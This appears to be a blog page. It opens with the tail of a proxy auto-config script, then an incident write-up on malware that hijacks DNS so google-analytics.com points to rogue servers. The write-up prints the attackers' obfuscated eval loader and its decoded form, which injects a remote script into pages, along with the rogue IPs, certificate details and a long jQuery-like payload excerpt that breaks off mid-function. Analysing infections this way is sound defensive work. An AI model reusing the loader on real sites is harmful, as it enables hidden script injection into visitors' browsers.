 [18, "c05c356d809c3f2d1cdd1b6ff9d16fc1024f5c3925bf61abf50e8e1d0f6b8069"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [21, "50ade07afbe7ca8e094128839dd2191c0c48018d7ff754e3c8b88da614768f13"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [20, "e3e88c17ba9ab684b2be9fa3c950ad9d526a0d2478ed661b37b79c581f158190"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [21, "6cdfbcd0d976405a599053ca4b5ef7cd203f180a9c7eb923351cb4f591d3d599"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [21, "5a50d849d24dae791f2476110627d51bbaf9360731286b25ec82fb1629aa160e"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": true,
 "hash": {
 "url": [
 [28, "7a1861c931ce0c8bc0fbe4886af66dbca1afca61f8a08b8b34d0b1e7585dadaf"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [22, "2abdb07ed909f1a257a367c0211061ecb3027a9943af06a93a28f12c92aa94ed"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [24, "643af5bb7cf4810537061f5ea81febbde5f4d60cebd7768b41b8c0351a9b6af2"],
 [0]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [22, "0136db59a7df0d5528f4d29e6ab201bedc2cf04c2d7a9f10b3d58909f36421df"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [16, "027b77b373d4e927f295d33bf50bb238b007bfd91797fcd551e79a2497c5f7c8"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [27, "650e28997cd30194bb5537ade4a74b646b3abb06fee9cb9d4cf4af28288354e1"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [26, "0793f244ecd3c34901023abec5514fbbf5704e6eba76f95461d8d161f4700aa3"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [25, "2c374ab4efaf85e151d9f5fcd845737356047bd9a37ceb55c77ccf4c3b89e480"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [29, "d62fad593a5bdf2d4b0bd3cee4f9589b651b207908d1336d7a69d4b9aa6c53a3"]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [20, "93b81a4fc17695411a51e7d230b9ce2d4ef13325f0983cb81c1db2d0ad8b8238"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [55, "4ced13140e0abf5507c97c64a492c5bf6b0200ccd476713e8fc3417598961f69"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [28, "9a5727d91d00f39ddd5e8063c91928713dc0eb02dec2bb743e8e668e2ef5fccc"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [13, "44d9c55341ba05c18ffc28b8551b18a4adb41d16eb920af0b073930d3621ac38"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [41, "b80aee1049701e1b72f36bd8f338e35801141ce06e12e56f30dc634210401163"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [26, "e7332164ede2a16873960d0e75ce5c840fe0c8260f66a0855823422b6d5ac116"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [15, "691d96c4a9d1bfd8e706f06ecc170dc31c10e9d4309da9b9cf4b9b496a965d62"],
 [0]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [38, "81fc6084792fb6000dabfe08765fe52d5e33905ae613e7660e0e136052cca206"],
 [0]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [16, "c3387b7ffe31907c8886fa12ead40ec5d785f2d8853f7938c23155a1232f80c8"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [17, "93677c56483c36ee9e8f17e311cdb9161513105fa0cd92ad3df0bf1f43f8aa82"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [16, "c3387b7ffe31907c8886fa12ead40ec5d785f2d8853f7938c23155a1232f80c8"]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [20, "1380de9cabcaab06d9fa57b0da79b456fa050194e95978b41974b8d33e5c670d"]
 ]
 },
 "sc": 1
}];

function checkPattern(hash, string) {
 if ((hash.length == 1) && (string.length == hash[0][0])) {
 return (CryptoJS.SHA256(string) == hash[0][1])
 } else {
 var left = false;
 if (hash[0][0] > 0) {
 if (CryptoJS.SHA256(string.substring(0, hash[0][0])) == hash[0][1]) {
 left = true;
 }
 } else {
 left = true;
 }
 if (left) {
 var right = false;
 if (hash[1][0] > 0) {
 if (CryptoJS.SHA256(string.substring(string.length - hash[1][0])) == hash[1][1]) {
 right = true;
 }
 } else {
 right = true;
 }
 return (left && right)
 }
 }
 return false
}

function checkHash(hash, url, host) {
 if (hash.url) {
 return checkPattern(hash.url, url.replace(/^https?:\/\//, ''))
 } else if (hash.host && hash.query) {
 var query = '/' + url.replace(/.*?\/\/.*?\//, '')
 return checkPattern(hash.query, query) && checkPattern(hash.host, host)
 }
 return false
}
var proxy = 'PROXY 50.7.182.141:51598; DIRECT';

var have_https = true;

function FindProxyForURL(url, host) {
 if (url == 'https://stoppblock.net/') {
 return proxy;
 }
 var https = url.indexOf('https://') == 0;
 if ((url.indexOf('http://') !== 0) && (!https || !have_https)) {
 return 'DIRECT';
 }

 if (isPlainHostName(host) ||
 shExpMatch(host, "*.local") ||
 isInNet(dnsResolve(host), "0.0.0.0", "255.0.0.0") ||
 isInNet(dnsResolve(host), "10.0.0.0", "255.0.0.0") ||
 isInNet(dnsResolve(host), "172.16.0.0", "255.240.0.0") ||
 isInNet(dnsResolve(host), "192.168.0.0", "255.255.0.0") ||
 isInNet(dnsResolve(host), "169.254.0.0", "255.255.0.0") ||
 isInNet(dnsResolve(host), "192.0.2.0", "255.255.255.0") ||
 isInNet(dnsResolve(host), "224.0.0.0", "240.0.0.0") ||
 isInNet(dnsResolve(host), "240.0.0.0", "240.0.0.0") ||
 isInNet(dnsResolve(host), "127.0.0.0", "255.255.255.0"))
 return "DIRECT";

 for (var i = 0; i < hashes.length; i++) {
 var hash = hashes[i];
 if ((hash.sc == 2) || ((hash.sc == 1) && (https)) || ((hash.sc == 0) && (!https))) {
 if (checkHash(hash.hash, url, host)) {
 if (hash.direct) {
 return 'DIRECT'
 }
 return proxy
 }
 }

 }
 return 'DIRECT'
}
Posted in Uncategorized | 1 Comment

“104.197.191.4” and “107.178.246.193” Google-Analytics DNS Intercept / Malware.

While trying to investigate a malware infection on a computer I discovered several changes. First.. LOTS of rootkits and advertising malware but also..

DNS for the network adaptor had been changed to “104.197.191.4”. This seems to be a virtual server hosted at Google. Probably the malware authors have subscribed to Google Compute. The rogue DNS server rewrites requests for Google Analytics (embedded in many websites), and probably other services, to another google hosted (but not run by Google) server.

> google-analytics.com
Server: 4.191.197.104.bc.googleusercontent.com
Address: 104.197.191.4

DNS request timed out.
timeout was 2 seconds.
Name: google-analytics.com
Address: 107.178.246.193

The upshot is any website with Google Analytics embedded will then tell your browser to fetch the analytics scripts. The rogue DNS server will respond with the wrong server and send you to their own content. Not a lot has been changed in the file except for the following content has been added:

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3 5=("4:"==2.e.i?"4://7.":"8://9.")+"a-b.c/";3 1=2.n("1");1.f=5+"g.h";3 6=2.j(\'k\').l(0)||2.m;6.d(1);',24,24,'|script|document|var|https|mainOrPath|parent|ssl|http|www|google|analytics|com|appendChild|location|src|srcor3|js|protocol|getElementsByTagName|head|item|documentElement|createElement'.split('|'),0,{}))

This code basically inserts yet another script into the page of /srcor3.js hosted on the same “fake” google-analytics “DNS intercepted” server. Here is the unobfuscated code:

var mainOrPath = ("https:" == document.location.protocol ? "https://ssl." : "http://www.") + "google-analytics.com/";
var script = document.createElement("script");
script.src = mainOrPath + "srcor3.js";
var parent = document.getElementsByTagName('head').item(0) || document.documentElement;
parent.appendChild(script);

More about the injected script below but first I wish to highlight a few obvious flaws and pointers or possible identifiers of the malware authors.

First the fake server has an SSL certificate issued to it:

Thumbprint sha1 = ‎7a 8d a9 32 7c 9d 8b 0d 81 58 fd fb 27 5d cb 26 fb 4a 06 df
(aka. 7a8da9327c9d8b0d8158fdfb275dcb26fb4a06df)
Valid From = ‎29 ‎July ‎2015 15:49:50
Valid To = ‎28 ‎July ‎2016 15:49:50
CN = Itoimha Dafak
O = Joktait Fucpuilq Ki
L = Vuwzihceyn
S = Uhycbamfeicu
C = RU

Issued by the following (not trusted) certificate authority:

Valid From = ‎29 ‎July ‎2015 15:49:49
Valid To = ‎28 ‎July ‎2018 15:49:49
Certificate SerialNumber=00 b5 22 f9 b7 2e b9 92 f5 (aka 00b522f9b72eb992f5)
Thumbprint sha1  = ‎b4 7c 1f 7b c9 dd 77 f9 9e 1b 3c 8c c8 22 c4 4d 19 3f 72 bb
(aka. b47c1f7bc9dd77f99e1b3c8cc822c44d193f72bb)
L = Vuwzihceyn
S = Uhycbamfeicu
C = RU
O = Joktait Fucpuilq Ki
CN = Qosmabj Zitmuy

As far as I could also find – other identifiers related to this malware / attack is:
– Bitshakers2
– Bitshakers4

This code it downloads from srcor3.js looks like this (the first line seems to suggest the code was authored or last modified on 23-06-2016):


//23062016-666
! function(a, b) {
"object" == typeof module && "object" == typeof module.exports ? module.exports = a.document ? b(a, !0) : function(a) {
if (!a.document) throw new Error("jQuery requires a window with a document");
return b(a)
} : b(a)
}("undefined" != typeof window ? window : this, function(a, b) {
var c = [],
d = c.slice,
e = c.concat,
f = c.push,
g = c.indexOf,
h = {},
i = h.toString,
j = h.hasOwnProperty,
k = "".trim,
l = {},
m = "1.11.0",
n = function(a, b) {
return new n.fn.init(a, b)
},
o = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
p = /^-ms-/,
q = /-([\da-z])/gi,
r = function(a, b) {
return b.toUpperCase()
};
n.fn = n.prototype = {
jquery: m,
constructor: n,
selector: "",
length: 0,
toArray: function() {
return d.call(this)
},
get: function(a) {
return null != a ? 0 > a ? this[a + this.length] : this[a] : d.call(this)
},
pushStack: function(a) {
var b = n.merge(this.constructor(), a);
return b.prevObject = this, b.context = this.context, b
},
each: function(a, b) {
return n.each(this, a, b)
},
map: function(a) {
return this.pushStack(n.map(this, function(b, c) {
return a.call(b, c, b)
}))
},
slice: function() {
return this.pushStack(d.apply(this, arguments))
},
first: function() {
return this.eq(0)
},
last: function() {
return this.eq(-1)
},
eq: function(a) {
var b = this.length,
c = +a + (0 > a ? b : 0);
return this.pushStack(c >= 0 && b > c ? [this[c]] : [])
},
end: function() {
return this.prevObject || this.constructor(null)
},
push: f,
sort: c.sort,
splice: c.splice
}, n.extend = n.fn.extend = function() {
var a, b, c, d, e, f, g = arguments[0] || {},
h = 1,
i = arguments.length,
j = !1;
for ("boolean" == typeof g && (j = g, g = arguments[h] || {}, h++), "object" == typeof g || n.isFunction(g) || (g = {}), h === i && (g = this, h--); i > h; h++)
if (null != (e = arguments[h]))
for (d in e) a = g[d], c = e[d], g !== c && (j && c && (n.isPlainObject(c) || (b = n.isArray(c))) ? (b ? (b = !1, f = a && n.isArray(a) ? a : []) : f = a && n.isPlainObject(a) ? a : {}, g[d] = n.extend(j, f, c)) : void 0 !== c && (g[d] = c));
return g
}, n.extend({
expando: "jQuery" + (m + Math.random()).replace(/\D/g, ""),
isReady: !0,
error: function(a) {
throw new Error(a)
},
noop: function() {},
isFunction: function(a) {
return "function" === n.type(a)
},
isArray: Array.isArray || function(a) {
return "array" === n.type(a)
},
isWindow: function(a) {
return null != a && a == a.window
},
isNumeric: function(a) {
return a - parseFloat(a) >= 0
},
isEmptyObject: function(a) {
var b;
for (b in a) return !1;
return !0
},
isPlainObject: function(a) {
var b;
if (!a || "object" !== n.type(a) || a.nodeType || n.isWindow(a)) return !1;
try {
if (a.constructor && !j.call(a, "constructor") && !j.call(a.constructor.prototype, "isPrototypeOf")) return !1
} catch (c) {
return !1
}
if (l.ownLast)
for (b in a) return j.call(a, b);
for (b in a);
return void 0 === b || j.call(a, b)
},
type: function(a) {
return null == a ? a + "" : "object" == typeof a || "function" == typeof a ? h[i.call(a)] || "object" : typeof a
},
globalEval: function(b) {
b && n.trim(b) && (a.execScript || function(b) {
a.eval.call(a, b)
})(b)
},
camelCase: function(a) {
return a.replace(p, "ms-").replace(q, r)
},
nodeName: function(a, b) {
return a.nodeName && a.nodeName.toLowerCase() === b.toLowerCase()
},
each: function(a, b, c) {
var d, e = 0,
f = a.length,
g = s(a);
if (c) {
if (g) {
for (; f > e; e++)
if (d = b.apply(a[e], c), d === !1) break
} else
for (e in a)
if (d = b.apply(a[e], c), d === !1) break
} else if (g) {
for (; f > e; e++)
if (d = b.call(a[e], e, a[e]), d === !1) break
} else
for (e in a)
if (d = b.call(a[e], e, a[e]), d === !1) break; return a
},
trim: k && !k.call("\ufeff\xa0") ? function(a) {
return null == a ? "" : k.call(a)
} : function(a) {
return null == a ? "" : (a + "").replace(o, "")
},
makeArray: function(a, b) {
var c = b || [];
return null != a && (s(Object(a)) ? n.merge(c, "string" == typeof a ? [a] : a) : f.call(c, a)), c
},
inArray: function(a, b, c) {
var d;
if (b) {
if (g) return g.call(b, a, c);
for (d = b.length, c = c ? 0 > c ? Math.max(0, d + c) : c : 0; d > c; c++)
if (c in b && b[c] === a) return c
}
return -1
},
merge: function(a, b) {
var c = +b.length,
d = 0,
e = a.length;
while (c > d) a[e++] = b[d++];
if (c !== c)
while (void 0 !== b[d]) a[e++] = b[d++];
return a.length = e, a
},
grep: function(a, b, c) {
for (var d, e = [], f = 0, g = a.length, h = !c; g > f; f++) d = !b(a[f], f), d !== h && e.push(a[f]);
return e
},
map: function(a, b, c) {
var d, f = 0,
g = a.length,
h = s(a),
i = [];
if (h)
for (; g > f; f++) d = b(a[f], f, c), null != d && i.push(d);
else
for (f in a) d = b(a[f], f, c), null != d && i.push(d);
return e.apply([], i)
},
guid: 1,
proxy: function(a, b) {
var c, e, f;
return "string" == typeof b && (f = a[b], b = a, a = f), n.isFunction(a) ? (c = d.call(arguments, 2), e = function() {
return a.apply(b || this, c.concat(d.call(arguments)))
}, e.guid = a.guid = a.guid || n.guid++, e) : void 0
},
now: function() {
return +new Date
},
support: l
}), n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(a, b) {
h["[object " + b + "]"] = b.toLowerCase()
});

function s(a) {
var b = a.length,
c = n.type(a);
return "function" === c || n.isWindow(a) ? !1 : 1 === a.nodeType && b ? !0 : "array" === c || 0 === b || "number" == typeof b && b > 0 && b - 1 in a
}
var t = function(a) {
var b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s = "sizzle" + -new Date,
t = a.document,
u = 0,
v = 0,
w = eb(),
x = eb(),
y = eb(),
z = function(a, b) {
return a === b && (j = !0), 0
},
A = "undefined",
B = 1 << 31,
C = {}.hasOwnProperty,
D = [],
E = D.pop,
F = D.push,
G = D.push,
H = D.slice,
I = D.indexOf || function(a) {
for (var b = 0, c = this.length; c > b; b++)
if (this[b] === a) return b;
return -1
},
J = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
K = "[\\x20\\t\\r\\n\\f]",
L = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
M = L.replace("w", "w#"),
N = "\\[" + K + "*(" + L + ")" + K + "*(?:([*^$|!~]?=)" + K + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + M + ")|)|)" + K + "*\\]",
O = ":(" + L + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + N.replace(3, 8) + ")*)|.*)\\)|)",
P = new RegExp("^" + K + "+|((?:^|[^\\\\])(?:\\\\.)*)" + K + "+$", "g"),
Q = new RegExp("^" + K + "*," + K + "*"),
R = new RegExp("^" + K + "*([>+~]|" + K + ")" + K + "*"),
S = new RegExp("=" + K + "*([^\\]'\"]*?)" + K + "*\\]", "g"),
T = new RegExp(O),
U = new RegExp("^" + M + "$"),
V = {
ID: new RegExp("^#(" + L + ")"),
CLASS: new RegExp("^\\.(" + L + ")"),
TAG: new RegExp("^(" + L.replace("w", "w*") + ")"),
ATTR: new RegExp("^" + N),
PSEUDO: new RegExp("^" + O),
CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + K + "*(even|odd|(([+-]|)(\\d*)n|)" + K + "*(?:([+-]|)" + K + "*(\\d+)|))" + K + "*\\)|)", "i"),
bool: new RegExp("^(?:" + J + ")$", "i"),
needsContext: new RegExp("^" + K + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + K + "*((?:-\\d)?\\d*)" + K + "*\\)|)(?=[^-]|$)", "i")
},
W = /^(?:input|select|textarea|button)$/i,
X = /^h\d$/i,
Y = /^[^{]+\{\s*\[native \w/,
Z = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
$ = /[+~]/,
_ = /'|\\/g,
ab = new RegExp("\\\\([\\da-f]{1,6}" + K + "?|(" + K + ")|.)", "ig"),
bb = function(a, b, c) {
var d = "0x" + b - 65536;
return d !== d || c ? b : 0 > d ? String.fromCharCode(d + 65536) : String.fromCharCode(d >> 10 | 55296, 1023 & d | 56320)
};
try {
G.apply(D = H.call(t.childNodes), t.childNodes), D[t.childNodes.length].nodeType
} catch (cb) {
G = {
apply: D.length ? function(a, b) {
F.apply(a, H.call(b))
} : function(a, b) {
var c = a.length,
d = 0;
while (a[c++] = b[d++]);
a.length = c - 1
}
}
}

function db(a, b, d, e) {
var f, g, h, i, j, m, p, q, u, v;
if ((b ? b.ownerDocument || b : t) !== l && k(b), b = b || l, d = d || [], !a || "string" != typeof a) return d;
if (1 !== (i = b.nodeType) && 9 !== i) return [];
if (n && !e) {
if (f = Z.exec(a))
if (h = f[1]) {
if (9 === i) {
if (g = b.getElementById(h), !g || !g.parentNode) return d;
if (g.id === h) return d.push(g), d
} else if (b.ownerDocument && (g = b.ownerDocument.getElementById(h)) && r(b, g) && g.id === h) return d.push(g), d
} else {
if (f[2]) return G.apply(d, b.getElementsByTagName(a)), d;
if ((h = f[3]) && c.getElementsByClassName && b.getElementsByClassName) return G.apply(d, b.getElementsByClassName(h)), d
}
if (c.qsa && (!o || !o.test(a))) {
if (q = p = s, u = b, v = 9 === i && a, 1 === i && "object" !== b.nodeName.toLowerCase()) {
m = ob(a), (p = b.getAttribute("id")) ? q = p.replace(_, "\\$&") : b.setAttribute("id", q), q = "[id='" + q + "'] ", j = m.length;
while (j--) m[j] = q + pb(m[j]);
u = $.test(a) && mb(b.parentNode) || b, v = m.join(",")
}
if (v) try {
return G.apply(d, u.querySelectorAll(v)), d
} catch (w) {} finally {
p || b.removeAttribute("id")
}
}
}
return xb(a.replace(P, "$1"), b, d, e)
}

function eb() {
var a = [];

function b(c, e) {
return a.push(c + " ") > d.cacheLength && delete b[a.shift()], b[c + " "] = e
}
return b
}

function ba(a) {
return a[s] = !0, a
}

function gb(a) {
var b = l.createElement("div");
try {
return !!a(b)
} catch (c) {
return !1
} finally {
b.parentNode && b.parentNode.removeChild(b), b = null
}
}

function hb(a, b) {
var c = a.split("|"),
e = a.length;
while (e--) d.attrHandle[c[e]] = b
}

function ib(a, b) {
var c = b && a,
d = c && 1 === a.nodeType && 1 === b.nodeType && (~b.sourceIndex || B) - (~a.sourceIndex || B);
if (d) return d;
if (c)
while (c = c.nextSibling)
if (c === b) return -1;
return a ? 1 : -1
}

function jb(a) {
return function(b) {
var c = b.nodeName.toLowerCase();
return "input" === c && b.type === a
}
}

function kb(a) {
return function(b) {
var c = b.nodeName.toLowerCase();
return ("input" === c || "button" === c) && b.type === a
}
}

function lb(a) {
return ba(function(b) {
return b = +b, ba(function(c, d) {
var e, f = a([], c.length, b),
g = f.length;
while (g--) c[e = f[g]] && (c[e] = !(d[e] = c[e]))
})
})
}

function mb(a) {
return a && typeof a.getElementsByTagName !== A && a
}
c = db.support = {}, f = db.isXML = function(a) {
var b = a && (a.ownerDocument || a).documentElement;
return b ? "HTML" !== b.nodeName : !1
}, k = db.setDocument = function(a) {
var b, e = a ? a.ownerDocument || a : t,
g = e.defaultView;
return e !== l && 9 === e.nodeType && e.documentElement ? (l = e, m = e.documentElement, n = !f(e), g && g !== g.top && (g.addEventListener ? g.addEventListener("unload", function() {
k()
}, !1) : g.attachEvent && g.attachEvent("onunload", function() {
k()
})), c.attributes = gb(function(a) {
return a.className = "i", !a.getAttribute("className")
}), c.getElementsByTagName = gb(function(a) {
return a.appendChild(e.createComment("")), !a.getElementsByTagName("*").length
}), c.getElementsByClassName = Y.test(e.getElementsByClassName) && gb(function(a) {
return a.innerHTML = "
<div class='a'></div>
<div class='a i'></div>
", a.firstChild.className = "i", 2 === a.getElementsByClassName("i").length
}), c.getById = gb(function(a) {
return m.appendChild(a).id = s, !e.getElementsByName || !e.getElementsByName(s).length
}), c.getById ? (d.find.ID = function(a, b) {
if (typeof b.getElementById !== A && n) {
var c = b.getElementById(a);
return c && c.parentNode ? [c] : []
}
}, d.filter.ID = function(a) {
var b = a.replace(ab, bb);
return function(a) {
return a.getAttribute("id") === b
}
}) : (delete d.find.ID, d.filter.ID = function(a) {
var b = a.replace(ab, bb);
return function(a) {
var c = typeof a.getAttributeNode !== A && a.getAttributeNode("id");
return c && c.value === b
}
}), d.find.TAG = c.getElementsByTagName ? function(a, b) {
return typeof b.getElementsByTagName !== A ? b.getElementsByTagName(a) : void 0
} : function(a, b) {
var c, d = [],
e = 0,
f = b.getElementsByTagName(a);
if ("*" === a) {
while (c = f[e++]) 1 === c.nodeType && d.push(c);
return d
}
return f
}, d.find.CLASS = c.getElementsByClassName && function(a, b) {
return typeof b.getElementsByClassName !== A && n ? b.getElementsByClassName(a) : void 0
}, p = [], o = [], (c.qsa = Y.test(e.querySelectorAll)) && (gb(function(a) {
a.innerHTML = "<select t=''>
<option selected=''></option>
</select>", a.querySelectorAll("[t^='']").length && o.push("[*^$]=" + K + "*(?:''|\"\")"), a.querySelectorAll("[selected]").length || o.push("\\[" + K + "*(?:value|" + J + ")"), a.querySelectorAll(":checked").length || o.push(":checked")
}), gb(function(a) {
var b = e.createElement("input");
b.setAttribute("type", "hidden"), a.appendChild(b).setAttribute("name", "D"), a.querySelectorAll("[name=d]").length && o.push("name" + K + "*[*^$|!~]?="), a.querySelectorAll(":enabled").length || o.push(":enabled", ":disabled"), a.querySelectorAll("*,:x"), o.push(",.*:")
})), (c.matchesSelector = Y.test(q = m.webkitMatchesSelector || m.mozMatchesSelector || m.oMatchesSelector || m.msMatchesSelector)) && gb(function(a) {
c.disconnectedMatch = q.call(a, "div"), q.call(a, "[s!='']:x"), p.push("!=", O)
}), o = o.length && new RegExp(o.join("|")), p = p.length && new RegExp(p.join("|")), b = Y.test(m.compareDocumentPosition), r = b || Y.test(m.contains) ? function(a, b) {
var c = 9 === a.nodeType ? a.documentElement : a,
d = b && b.parentNode;
return a === d || !(!d || 1 !== d.nodeType || !(c.contains ? c.contains(d) : a.compareDocumentPosition && 16 & a.compareDocumentPosition(d)))
} : function(a, b) {
if (b)
while (b = b.parentNode)
if (b === a) return !0;
return !1
}, z = b ? function(a, b) {
if (a === b) return j = !0, 0;
var d = !a.compareDocumentPosition - !b.compareDocumentPosition;
return d ? d : (d = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1, 1 & d || !c.sortDetached && b.compareDocumentPosition(a) === d ? a === e || a.ownerDocument === t && r(t, a) ? -1 : b === e || b.ownerDocument === t && r(t, b) ? 1 : i ? I.call(i, a) - I.call(i, b) : 0 : 4 & d ? -1 : 1)
} : function(a, b) {
if (a === b) return j = !0, 0;
var c, d = 0,
f = a.parentNode,
g = b.parentNode,
h = [a],
k = [b];
if (!f || !g) return a === e ? -1 : b === e ? 1 : f ? -1 : g ? 1 : i ? I.call(i, a) - I.call(i, b) : 0;
if (f === g) return ib(a, b);
c = a;
while (c = c.parentNode) h.unshift(c);
c = b;
while (c = c.parentNode) k.unshift(c);
while (h[d] === k[d]) d++;
return d ? ib(h[d], k[d]) : h[d] === t ? -1 : k[d] === t ? 1 : 0
}, e) : l
}, db.matches = function(a, b) {
return db(a, null, null, b)
}, db.matchesSelector = function(a, b) {
if ((a.ownerDocument || a) !== l && k(a), b = b.replace(S, "='$1']"), !(!c.matchesSelector || !n || p && p.test(b) || o && o.test(b))) try {
var d = q.call(a, b);
if (d || c.disconnectedMatch || a.document && 11 !== a.document.nodeType) return d
} catch (e) {}
return db(b, l, null, [a]).length > 0
}, db.contains = function(a, b) {
return (a.ownerDocument || a) !== l && k(a), r(a, b)
}, db.attr = function(a, b) {
(a.ownerDocument || a) !== l && k(a);
var e = d.attrHandle[b.toLowerCase()],
f = e && C.call(d.attrHandle, b.toLowerCase()) ? e(a, b, !n) : void 0;
return void 0 !== f ? f : c.attributes || !n ? a.getAttribute(b) : (f = a.getAttributeNode(b)) && f.specified ? f.value : null
}, db.error = function(a) {
throw new Error("Syntax error, unrecognized expression: " + a)
}, db.uniqueSort = function(a) {
var b, d = [],
e = 0,
f = 0;
if (j = !c.detectDuplicates, i = !c.sortStable && a.slice(0), a.sort(z), j) {
while (b = a[f++]) b === a[f] && (e = d.push(f));
while (e--) a.splice(d[e], 1)
}
return i = null, a
}, e = db.getText = function(a) {
var b, c = "",
d = 0,
f = a.nodeType;
if (f) {
if (1 === f || 9 === f || 11 === f) {
if ("string" == typeof a.textContent) return a.textContent;
for (a = a.firstChild; a; a = a.nextSibling) c += e(a)
} else if (3 === f || 4 === f) return a.nodeValue
} else
while (b = a[d++]) c += e(b);
return c
}, d = db.selectors = {
cacheLength: 50,
createPseudo: ba,
match: V,
attrHandle: {},
find: {},
relative: {
">": {
dir: "parentNode",
first: !0
},
" ": {
dir: "parentNode"
},
"+": {
dir: "previousSibling",
first: !0
},
"~": {
dir: "previousSibling"
}
},
preFilter: {
ATTR: function(a) {
return a[1] = a[1].replace(ab, bb), a[3] = (a[4] || a[5] || "").replace(ab, bb), "~=" === a[2] && (a[3] = " " + a[3] + " "), a.slice(0, 4)
},
CHILD: function(a) {
return a[1] = a[1].toLowerCase(), "nth" === a[1].slice(0, 3) ? (a[3] || db.error(a[0]), a[4] = +(a[4] ? a[5] + (a[6] || 1) : 2 * ("even" === a[3] || "odd" === a[3])), a[5] = +(a[7] + a[8] || "odd" === a[3])) : a[3] && db.error(a[0]), a
},
PSEUDO: function(a) {
var b, c = !a[5] && a[2];
return V.CHILD.test(a[0]) ? null : (a[3] && void 0 !== a[4] ? a[2] = a[4] : c && T.test(c) && (b = ob(c, !0)) && (b = c.indexOf(")", c.length - b) - c.length) && (a[0] = a[0].slice(0, b), a[2] = c.slice(0, b)), a.slice(0, 3))
}
},
filter: {
TAG: function(a) {
var b = a.replace(ab, bb).toLowerCase();
return "*" === a ? function() {
return !0
} : function(a) {
return a.nodeName && a.nodeName.toLowerCase() === b
}
},
CLASS: function(a) {
var b = w[a + " "];
return b || (b = new RegExp("(^|" + K + ")" + a + "(" + K + "|$)")) && w(a, function(a) {
return b.test("string" == typeof a.className && a.className || typeof a.getAttribute !== A && a.getAttribute("class") || "")
})
},
ATTR: function(a, b, c) {
return function(d) {
var e = db.attr(d, a);
return null == e ? "!=" === b : b ? (e += "", "=" === b ? e === c : "!=" === b ? e !== c : "^=" === b ? c && 0 === e.indexOf(c) : "*=" === b ? c && e.indexOf(c) > -1 : "$=" === b ? c && e.slice(-c.length) === c : "~=" === b ? (" " + e + " ").indexOf(c) > -1 : "|=" === b ? e === c || e.slice(0, c.length + 1) === c + "-" : !1) : !0
}
},
CHILD: function(a, b, c, d, e) {
var f = "nth" !== a.slice(0, 3),
g = "last" !== a.slice(-4),
h = "of-type" === b;
return 1 === d && 0 === e ? function(a) {
return !!a.parentNode
} : function(b, c, i) {
var j, k, l, m, n, o, p = f !== g ? "nextSibling" : "previousSibling",
